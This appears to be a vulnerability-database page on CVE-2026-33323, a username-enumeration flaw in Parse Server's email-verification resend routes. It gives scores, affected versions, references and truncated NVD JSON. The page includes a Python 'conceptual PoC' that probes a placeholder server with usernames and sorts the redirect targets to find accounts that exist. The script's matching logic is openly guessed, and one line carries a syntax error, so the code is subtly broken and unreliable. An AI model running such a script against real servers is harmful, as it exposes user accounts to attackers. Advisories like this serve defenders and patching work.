CVE-2026-33323

Description

Parse Server is an open source backend that can be deployed to any infrastructure that can run Node.js. Prior to versions 8.6.51 and 9.6.0-alpha.40, the Pages route and legacy PublicAPI route for resending email verification links return distinguishable responses depending on whether the provided username exists and has an unverified email. This allows an unauthenticated attacker to enumerate valid usernames by observing different redirect targets. The existing emailVerifySuccessOnInvalidEmail configuration option, which is enabled by default and protects the API route against this, did not apply to these routes. This issue has been patched in versions 8.6.51 and 9.6.0-alpha.40.

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:parseplatform:parse-server:*:*:*:*:*:node.js:*:* - VULNERABLE

cpe:2.3:a:parseplatform:parse-server:9.6.0:alpha1:*:*:*:node.js:*:* - VULNERABLE

cpe:2.3:a:parseplatform:parse-server:9.6.0:alpha10:*:*:*:node.js:*:* - VULNERABLE

cpe:2.3:a:parseplatform:parse-server:9.6.0:alpha11:*:*:*:node.js:*:* - VULNERABLE

Parse Server < 8.6.51

Parse Server < 9.6.0-alpha.40

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

def check_username(target_url, username):
    """
    Conceptual PoC to check if a username exists by observing redirects.
    """
    # The specific endpoint depends on the Parse Server configuration
    # e.g., /apps/:appId/resend_verification_email or similar legacy routes
    payload = {"username": username}
    
    try:
        # allow_redirects=False is crucial to observe the 302 response location
        response = requests.post(target_url, data=payload, allow_redirects=False)
        
        if response.status_code == 302:
            location = response.headers.get('Location')
            # Logic based on the description: distinguishable redirect targets
            # Example hypothesis:
            if "verify_email_success" in location:
                # Behavior implying user might exist or masked (depending on config)
                return f"[?] Username '{username}': Response indicates potential existence or masked state"
            elif "login" in location or "invalid" in location:
                # Behavior implying user does not exist
                return f"[-] Username '{username}': Not found"
            else:
                # Distinct behavior for unverified users
                return f"[+] Username '{username}': Found and unverified (Redirect: {location})")
        else:
            return f"[!] Unexpected status code: {response.status_code}"
            
    except Exception as e:
        return f"[!] Error: {str(e)}"

# Example usage
target = "http://vulnerable-parse-server.com/parse/resendVerificationEmail"
print(check_username(target, "attacker"))
print(check_username(target, "admin"))

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-33323
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-33323
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-33323/
[4] VulDB https://vuldb.com/cve/CVE-2026-33323
[5] https://github.com/parse-community/parse-server/commit/967aa57732202009b2389ce9ecb3130d53d657e5
[6] https://github.com/parse-community/parse-server/commit/fbda4cb0c5cbc8fad08a216823b6b64d4ae289c3
[7] https://github.com/parse-community/parse-server/pull/10238
[8] https://github.com/parse-community/parse-server/pull/10243
[9] https://github.com/parse-community/parse-server/security/advisories/GHSA-h29g-q5c2-9h4f

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-33323", "sourceIdentifier": "[email protected]", "published": "2026-03-24T19:16:52.890", "lastModified": "2026-03-25T21:25:47.150", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Parse Server is an open source backend that can be deployed to any infrastructure that can run Node.js. Prior to versions 8.6.51 and 9.6.0-alpha.40, the Pages route and legacy PublicAPI route for resending email verification links return distinguishable responses depending on whether the provided username exists and has an unverified email. This allows an unauthenticated attacker to enumerate valid usernames by observing different redirect targets. The existing emailVerifySuccessOnInvalidEmail configuration option, which is enabled by default and protects the API route against this, did not apply to these routes. This issue has been patched in versions 8.6.51 and 9.6.0-alpha.40."}, {"lang": "es", "value": "Parse Server es un backend de código abierto que puede ser desplegado en cualquier infraestructura que pueda ejecutar Node.js. Antes de las versiones 8.6.51 y 9.6.0-alpha.40, la ruta Pages y la ruta PublicAPI heredada para reenviar enlaces de verificación de correo electrónico devuelven respuestas distinguibles dependiendo de si el nombre de usuario proporcionado existe y tiene un correo electrónico sin verificar. Esto permite a un atacante no autenticado enumerar nombres de usuario válidos observando diferentes objetivos de redirección. La opción de configuración existente emailVerifySuccessOnInvalidEmail, que está habilitada por defecto y protege la ruta API contra esto, no se aplicaba a estas rutas. Este problema ha sido parcheado en las versiones 8.6.51 y 9.6.0-alpha.40."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-204"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:parseplatform:parse-server:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "8.6.51", "matchCriteriaId": "E511B747-7546-4C12-9736-4F9E4B775D97"}, {"vulnerable": true, "criteria": "cpe:2.3:a:parseplatform:parse-server:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "9.0.0", "versionEndExcluding": "9.6.0", "matchCriteriaId": "1BAC01F8-0899-482C-8D91-64671BF2859A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:parseplatform:parse-server:9.6.0:alpha1:*:*:*:node.js:*:*", "matchCriteriaId": "BBED261F-CA1B-44BC-9C3A-37378590EFEE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:parseplatform:parse-server:9.6.0:alpha10:*:*:*:node.js:*:*", "matchCriteriaId": "418338C9-6AEC-492C-ACA4-9B3C0AAE149C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:parseplatform:parse-server:9.6.0:alpha11:*:*:*:node.js:*:*", "matchCriteriaId": "808B6482-BF8E-407D-8462-E757657CC323"}, {"vulnerable": true, "criteria": "cpe:2.3:a:parseplatform:parse-server:9.6.0:a ... (truncated)